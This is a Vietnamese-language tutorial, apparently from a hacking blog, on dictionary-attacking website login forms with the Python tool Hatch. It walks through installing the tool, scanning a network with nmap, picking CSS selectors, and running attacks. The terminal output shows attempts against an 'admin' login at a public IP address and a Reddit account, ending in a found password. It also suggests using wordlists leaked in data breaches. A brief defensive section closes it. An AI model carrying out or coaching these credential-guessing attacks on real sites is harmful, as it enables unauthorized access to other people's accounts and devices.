Tấn công Brute Force là gì

Đăng nhập brute-forcing đăng nhập, tức là thử nhiều mật khẩu rất nhanh cho đến khi tìm ra mật khẩu chính xác, có thể dễ dàng đối với các dịch vụ như SSH hoặc Telnet. Đối với một cái gì đó giống như một trang đăng nhập trang web, trước tiên chúng ta phải xác định các yếu tố khác nhau của trang. Nhờ một công cụ Python dành cho các trang web Brute-force có tên là Hatch, quá trình này đã được đơn giản hóa đến mức ngay cả người mới bắt đầu cũng có thể thử.

Cách thức hoạt động của các cuộc tấn công Brute-Force

Các cuộc tấn công Brute-force tận dụng lợi thế của tự động hóa để thử nhiều mật khẩu hơn con người có thể, đột nhập vào hệ thống thông qua thử và sai. Các cuộc tấn công brute-force có mục tiêu hơn sử dụng danh sách các mật khẩu phổ biến để tăng tốc độ này, được gọi là các cuộc tấn công từ điển và sử dụng kỹ thuật này để kiểm tra các mật khẩu yếu thường là cuộc tấn công đầu tiên mà một hacker sẽ cố gắng chống lại hệ thống.

Trong một cuộc tấn công Brute-force chống lại một dịch vụ như SSH, nó có thể được thực hiện từ dòng lệnh một cách dễ dàng bằng các công cụ như Sshtrix . Trong một dòng duy nhất trong một thiết bị đầu cuối, thật dễ dàng để khởi động một cuộc tấn công từ điển chống lại một máy chủ SSH được phát hiện bằng cách sử dụng danh sách mật khẩu tích hợp, khiến các dịch vụ có mật khẩu xấu rất dễ bị xâm nhập.

Nhược điểm lớn nhất của cuộc tấn công từ điển là nếu mật khẩu không tồn tại trong danh sách mật khẩu , cuộc tấn công sẽ thất bại. Nếu mật khẩu được sử dụng trên một mục tiêu là mạnh , các cuộc tấn công brute-force có thể nhanh chóng trở nên quá tốn kém về thời gian và tài nguyên để sử dụng vì chúng ta bắt đầu phải thử mọi kết hợp ký tự có thể. Một nhược điểm khác là nhiều dịch vụ hiện đang thực hiện một số kiểu giới hạn tỷ lệ, điều này phát hiện quá nhiều lần đăng nhập không thành công và chặn các lần thử tiếp theo trong một khoảng thời gian, điều này có thể làm chậm đáng kể một cuộc tấn công Brute-force.

Tại sao các cuộc tấn công Brute-Force trở nên khó khăn hơn trên các trang web

Mặc dù rất dễ dàng để tấn công một dịch vụ sử dụng tên người dùng và mật khẩu qua dòng lệnh, nhưng còn nhiều điều khác xảy ra trong mã của một trang web. Để thiết kế cuộc tấn công này, chúng ta cần nghĩ về những gì script cần biết để thực hiện công việc của nó.

Chúng tôi muốn tập lệnh tìm đúng mật khẩu được liên kết với một tài khoản cụ thể bằng cách nhập phỏng đoán vào các trường của trang đăng nhập và gửi cho đến khi chúng tôi nhận được kết quả thành công. Để làm như vậy, chúng ta phải tương tác với giao diện người dùng đồ họa của trang đăng nhập để nhập thông tin vào các trường chính xác của cả trường đăng nhập và mật khẩu.

Sau khi chúng tôi thực hiện việc này, chúng tôi cần gửi dự đoán bằng cách nhấp vào nút “Đăng nhập” trên trang. Cuối cùng, chúng ta cần script để biết sự khác biệt giữa thất bại và thành công, để chúng ta có thể dừng script và xác định đoán mật khẩu chính xác.

Tất cả những điều này là rất nhiều công việc và khá khó hiểu đối với người mới bắt đầu, nhưng sau khi làm như vậy, việc tự động tấn công brute-force vào trang đăng nhập của hầu hết các trang web có thể được thực hiện tương tự như brute-force một dịch vụ SSH.

Hatch để đăng nhập web Brute-Forcing

Python là một ngôn ngữ lý tưởng để tự động hóa các loại tấn công này và Hatch sử dụng Python2 để tự động hóa trình duyệt web Chrome nhằm thực hiện một cuộc tấn công từ điển chống lại việc đăng nhập của bất kỳ trang web nào có diễn đàn đăng nhập hiển thị. Trong khi một số trang web có diễn đàn đăng nhập ẩn yêu cầu bạn cuộn hoặc nhấp để hiển thị có thể gây nhầm lẫn tập lệnh, hầu hết các trang web đều dễ dàng nhắm mục tiêu bằng cách sử dụng công cụ này.

Khi khởi chạy Hatch, tập lệnh sẽ mở ra một cửa sổ Chrome để bạn kiểm tra các phần tử của trang mà bạn đang nhắm mục tiêu. Sau khi cho script biết bạn muốn brute-forcing vào trang web nào, nó sẽ kiểm tra xem trang đó có tồn tại và có thể truy cập được hay không. Nếu đúng như vậy, Hatch sẽ hỏi bạn muốn đăng nhập gì để brute-force, sau đó yêu cầu danh sách mật khẩu để thử trong cuộc tấn công.

Sau khi Hatch có thông tin cần thiết, nó sẽ mở cửa sổ Chrome thứ hai và bắt đầu tự động hóa cuộc tấn công. Bạn có thể ngồi lại và xem cuộc tấn công diễn ra trong cửa sổ Chrome hoặc thiết bị đầu cuối đang thực hiện cuộc tấn công. Trong thiết bị đầu cuối, bạn có thể xem từng lần nhập mật khẩu khi tập lệnh tiến xuống danh sách. Mặc dù cuộc tấn công này mạnh mẽ và hữu ích chống lại nhiều mục tiêu, nhưng nó cũng có thể bị phá hủy bởi giới hạn tốc độ và các phương pháp khác để chặn các nỗ lực đăng nhập quá mức.

Những gì bạn cần

Mặc dù Hatch là nền tảng đa nền tảng, nhưng nó hơi phức tạp để thiết lập trên một số hệ thống. Chúng tôi đã kết thúc việc Hatch hoạt động trên hệ thống Windows với một số sửa đổi đối với tập lệnh, mà chúng tôi đã đưa vào đây.

Để làm theo hướng dẫn này, bạn sẽ cần một hệ thống Windows có cài đặt Chrome và Python 2. Phiên bản Python hiện tại, hiện đại là Python3, vì vậy bạn cần đảm bảo rằng bạn đang sử dụng đúng phiên bản khi thực thi tập lệnh. Nếu bạn chạy Hatch với Python3, nó sẽ không hoạt động chính xác.

Bạn cũng sẽ cần cài đặt một số phụ thuộc, bao gồm cả trình điều khiển, để có thể tương tác với Chrome theo chương trình.

Video mấy anh tây hướng dẫn : https://www.youtube.com/watch?v=PlP6i3qkaJk

Bước 1 Kiểm tra phiên bản Python của bạn

Đầu tiên, chúng ta sẽ cần cài đặt một số phụ thuộc. Để xử lý những điều này, hãy nhấn phím Windows hoặc nhấp vào menu Bắt đầu, sau đó nhập cmd . Sau khi mở dấu nhắc lệnh, hãy đảm bảo rằng bạn đã cài đặt đúng Python2 bằng cách nhập python2 vào cửa sổ dòng lệnh. Bạn sẽ thấy một kết quả như dưới đây.

C:\> python2
λ python2
Python 2.7.13 (vs.7.13:a06454b1afa1, Dec 17 2016, 20:53:40) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits", or "license" for more information.
>>>

Nếu không, bạn có thể tải xuống Python2 . Sau khi Python2 của bạn được cài đặt, hãy nhập các lệnh sau để cài đặt các phần phụ thuộc.

C:\> pip2 install selenium
C:\> pip2 install requests

Bước 2 Cài đặt trình điều khiển Chrome

Tiếp theo, chúng tôi sẽ cần cài đặt trình điều khiển cho phép chúng tôi điều khiển Chrome từ chương trình Python. Để làm như vậy, chúng tôi sẽ tải xuống một tệp từ trang web Trình điều khiển Chrome , sau đó tạo một thư mục có tên là webdrivers trên ổ C của bạn. Di chuyển tệp đã tải xuống vào thư mục này. Trong khi bạn có thể đặt nó trong một thư mục khác, bạn sẽ cần phải sửa đổi mã Python.

Bước 3 Tải xuống Hatch & Install

Để cài đặt Hatch, bạn có thể thay đổi thư mục vào ổ C của mình trước khi sao chép nó để đảm bảo rằng bạn có thể tìm thấy nó hoặc thay đổi sang một vị trí khác mà bạn có thể tìm thấy. Loại cd .. để đi đến ổ C của máy tính của bạn, nếu đó là nơi mà bạn muốn. Sau đó, bạn có thể tải xuống phiên bản Hatch đã chia nhỏ từ trang GitHub bằng cách mở cửa sổ dòng lệnh và nhập nội dung sau.

C:\> git clone https://github.com/nsgodshall/Hatch.git

Phiên bản phân nhánh này đã được sửa đổi để hoạt động trên Windows. Sau khi hoàn tất quá trình tải xuống, bạn có thể nhập cd Hatch để thay đổi các thư mục vào thư mục tải xuống.

C:\> cd Hatch

Bước 4 Chạy Hatch & Chọn Đăng nhập router của bạn

Bây giờ chúng ta đã có Hatch trên hệ thống của mình và tất cả các phụ thuộc đã được cài đặt, đã đến lúc chạy Hatch và xem xét cách nó hoạt động. Đầu tiên, hãy xem tệp trợ giúp bằng cách chạy phần sau từ bên trong thư mục Hatch.

C:\> python2 main.py -h

Bạn sẽ thấy một kết quả như bên dưới.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h
Usage: main.py [options]

Options:
  -h, --help                        show this help message and exit
  -u USERNAME, --username=USERNAME  Choose the username
  --usernamesel+USERNAMESEL         Choose the username selector
  --passsel=PASSSEL                 Choose the password selector
  --loginsel=LOGINSEL               Choose the login button selector
  --passlist+PASSLIST               Enter the password list directory
  --website=WEBSITE                 choose a website

Chúng ta có thể xem các tùy chọn chính cho Hatch tại đây. Để bắt đầu, chúng ta hãy chọn một mục tiêu trên mạng cục bộ của chúng ta để tấn công.

Một thiết bị tốt trên mạng cục bộ của bạn để kiểm tra điều này sẽ là một cái gì đó như bộ định tuyến, máy in hoặc một số thiết bị khác có trang đăng nhập trên mạng. Bạn có thể chọn điều này bằng cách chạy quét Nmap trên mạng để tìm bất kỳ địa chỉ IP nào có cổng 80 đang mở. Trong khi cổng 80 là trang phổ biến nhất để truy cập web, bạn cũng có thể tìm kiếm các cổng 81, 8080, 8081, 443 để định vị các trang đăng nhập của các thiết bị khác nhau.

Tiếp theo, chúng ta cần tìm dải mạng con để có thể quét mạng cục bộ. Để tìm điều này, bạn có thể sử dụng ipcalc để tính toán phạm vi mạng con của mình sau khi tìm thấy địa chỉ IP cục bộ của máy tính. Ví dụ: nếu máy tính của bạn có địa chỉ IP là 192.168.0.3, bạn có thể chạy ipcalc 192.168.0.3 để lấy dải IP cho tất cả các địa chỉ IP có thể có trên mạng đó. Trong trường hợp này, đó sẽ là 192.168.0.0/24.

Khi bạn biết phạm vi, hãy chạy quét Nmap sau trên mạng của bạn, với phần iprange được thay đổi để thêm phạm vi IP của mạng của bạn.

C:\> sudo nmap -p 80,8080,81,8081,443 iprange

Khi quá trình quét này quay trở lại, bất kỳ dịch vụ nào liệt kê cổng là “mở” sẽ lưu trữ một trang web. Điều hướng đến một như máy in hoặc bộ định tuyến mà bạn có quyền đăng nhập bằng cách nhập địa chỉ IP theo sau là dấu hai chấm và số cổng mà chúng tôi đã tìm thấy trong Nmap. Bạn sẽ thấy một trang đăng nhập như thế này:

Bước 5 Xác định các yếu tố đăng nhập

Bây giờ, chúng tôi có thể chạy Hatch, nhưng chúng tôi vẫn cần thêm một số thông tin để loại bỏ cuộc tấn công này. Chạy Hatch bằng cách gõ lệnh sau, sau khi điều hướng đến thư mục bạn đã lưu chương trình trước đó.

C:\> python2 main.py

Cửa sổ Google Chrome sẽ mở ra, cho phép chúng tôi điều hướng đến trang web mà chúng tôi muốn tấn công và bắt đầu xác định các phần của trang web mà chúng tôi muốn thao tác.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]

Nhập URL của trang đăng nhập của trang web mục tiêu vào lời nhắc đầu tiên từ Hatch. Nó sẽ kiểm tra để đảm bảo rằng trang web tồn tại và có thể được truy cập. Tiếp theo, chúng tôi sẽ cần xác định các yếu tố đăng nhập và mật khẩu của trang web mà chúng tôi đang tấn công.

Trên trang đăng nhập mục tiêu của chúng tôi, nhấp chuột phải vào phần tử “Tên người dùng”, sau đó nhấp vào “Kiểm tra”.

Tiếp theo, nhấp vào dấu chấm lửng (•••) ở bên trái cửa sổ và menu thả xuống sẽ xuất hiện. Nhấp vào “Sao chép”, sau đó nhấp vào “Bộ chọn sao chép” để sao chép những gì Hatch sẽ cần để chọn và tương tác với phần tử này. Nó sẽ trông giống như “#username.”

Nhập bộ chọn tên người dùng vào Hatch, sau đó lặp lại quá trình với bộ chọn “Mật khẩu”.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector:

Cuối cùng, nhấp chuột phải vào nút “Đăng nhập” để lấy thông tin bộ chọn và thêm thông tin đó vào Hatch.

Bây giờ chúng tôi đã chọn các phần tử, chúng tôi sẽ đặt tên người dùng mà chúng tôi đang cố gắng brute-force. Trong trường hợp này, chúng tôi sẽ chỉ nhập admin . Bước cuối cùng sẽ là chọn danh sách mặc định đi kèm với Hatch. Đây là “passlist.txt” theo mặc định, vì vậy chúng tôi sẽ sử dụng danh sách này trong cuộc tấn công đầu tiên của chúng tôi.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt

DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d

DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316

Danh sách mật khẩu này không lớn, nhưng nó chứa nhiều mật khẩu phổ biến. Nhấn Return , và Hatch sẽ mở ra một cửa sổ mới để bắt đầu ép mật khẩu bằng cách tấn công từ điển. Bạn có thể xem tiến trình từ cửa sổ dòng lệnh hoặc bằng cách xem cửa sổ Chrome mà Hatch đang tự động hóa.

C:\Documents\PythonScripts\Hatch (master -> origin)
λ python2 main.py -h

DevTools listening on ws://127.0.0.1:6735/devtools/browser/24db43f7-d0d7-4756-8a2c-94676e65bb8f

  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://202.216.246.99/
[!] Checking if site exists [OK]
[~] Enter the username selector: #username
[~] Enter the password selector: #passwd
[~] Enter the Login button selector: #login_ok
[~] Enter the username to brute-force: admin
[~] Enter a directory to a password list: passlist.txt

DevTools listerning on ws://127.0.0.1:7827/devtools/browser/0d90faa9-4f25-41a6-bd30-444cdff7705d

DevTools listerning on ws://127.0.0.1:7848/devtools/browser/33d370d5-46db-4d56-b5f4-a78554e07316
------------------------
Tried password: 123456
for user: admin
------------------------
------------------------
Tried password: password
for user: admin
------------------------
------------------------
Tried password: qwerty
for user: admin
------------------------
------------------------
Tried password: Hackthis1
for user: admin

Bước 6 Cập nhật danh sách từ của bạn & chạy trên trang web bên ngoài

Nếu không hài lòng với danh sách từ có trong Hatch, bạn có thể thêm vào danh sách bằng cách mở trong trình soạn thảo văn bản như Nano hoặc thêm một danh sách từ khác từ bất kỳ kho lưu trữ danh sách từ nào , chẳng hạn như những danh sách bị rò rỉ do vi phạm dữ liệu . Sau khi tải xuống danh sách từ mà bạn chọn, bạn có thể thêm nó vào thư mục “Hatch” và chọn nó thay vì danh sách mặc định.

Khi bạn đã có danh sách mật khẩu mà bạn hài lòng, hãy tiếp tục và kiểm tra điều này trên một trang web tiêu chuẩn. Tạo một tài khoản tiện lợi trên Reddit.com hoặc một trang web khác và ghi nhớ tên đăng nhập. Đặt mật khẩu của tài khoản thành mật khẩu nằm trên một trong các danh sách từ.

Sau khi tài khoản giả được thiết lập, hãy chạy lại Hatch và nhập reddit.com/login (hoặc trang đăng nhập cho trang web bạn đã chọn). Tiếp theo, dán các bộ chọn vào bộ chọn đăng nhập, mật khẩu và nút. Cuối cùng, nhập tên người dùng mục tiêu và chọn danh sách mật khẩu chứa thông tin đăng nhập phù hợp. Nhấn Return và tập lệnh sẽ mở cửa sổ Chrome và bắt đầu tự động hóa cuộc tấn công.

Khi tập lệnh phát hiện đăng nhập thành công, nó sẽ xuất ra mật khẩu đã thành công. Trong khi tập lệnh gốc có xu hướng bỏ qua điều này và xuất sai mật khẩu trên Windows. Nếu bạn nhận được bất kỳ điều kỳ lạ nào từ phiên bản đã tách trên, bạn luôn có thể thử phiên bản Hatch gốc .

⠀⠀_    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__
 |  __  |/ _` | __/ __| '_ \
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  [-]--> V.1.0
  [-]--> coded by Metachar
  [-]--> brute-force tool

[~] Enter a website: http://www.reddit.com/login
[!] Checking if site exists [~] Enter the username selector: #loginUsername
[~] Enter the password selector: #loginPassword
[~] Enter the Login button selector: body > div > div > div.PageColumn.PageColumn__right > div > form > fieldset:nth-child(10) > button
[~] Enter the username to brute-force: hackthisaccountNB
[~] Enter a directory to a password list: passlist.txt

DevTools listerning on ws://127.0.0.1:11301/devtools/browser/6fd2f19e-9fef-4921-863f-d3316ec3b808

DevTools listerning on ws://127.0.0.1:11318/devtools/browser/f8d672c9-8e46-477c-a93d-baf0ea6b50e1
------------------------
Tried password: 123456
for user: hackthisaccountNB
------------------------
------------------------
Tried password: password
for user: hackthisaccountNB
------------------------
------------------------
Tried password: qwerty
for user: hackthisaccountNB
------------------------
AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS!
LAST PASS ATTEMPT BELOW
Password has been found: qwerty

Have fun :)

Làm thế nào để bảo vệ chống lại Brute-force

Các trang web có khả năng tốt nhất để bảo vệ chống lại các cuộc tấn công này bằng cách đảm bảo thực hiện các biện pháp bảo vệ Brute-force thông thường cho từ điển và các loại tấn công khác. Liệu một người dùng thông thường có thể cố gắng đăng nhập bằng mật khẩu sai 100 lần từ một địa chỉ IP lạ? Câu trả lời có lẽ là không. Hãy hết sức cẩn thận với các trang web không thực hiện các biện pháp phòng ngừa này, vì chúng sẽ rất dễ bị mất thông tin tài khoản của bạn.

Về phía người dùng, chọn mật khẩu mạnh, ngẫu nhiên và lưu trữ chúng trong trình quản lý mật khẩu có thể giúp đảm bảo mật khẩu của bạn không bao giờ nằm ​​trong danh sách mật khẩu. Nói chung, sử dụng xác thực hai yếu tố bất cứ khi nào có thể là cách bảo vệ tốt nhất của bạn chống lại các loại chiến thuật này, vì bạn sẽ được cảnh báo về nỗ lực đăng nhập. Đối với các tài khoản quan trọng, bạn phải luôn bật xác thực hai yếu tố.

Back to top button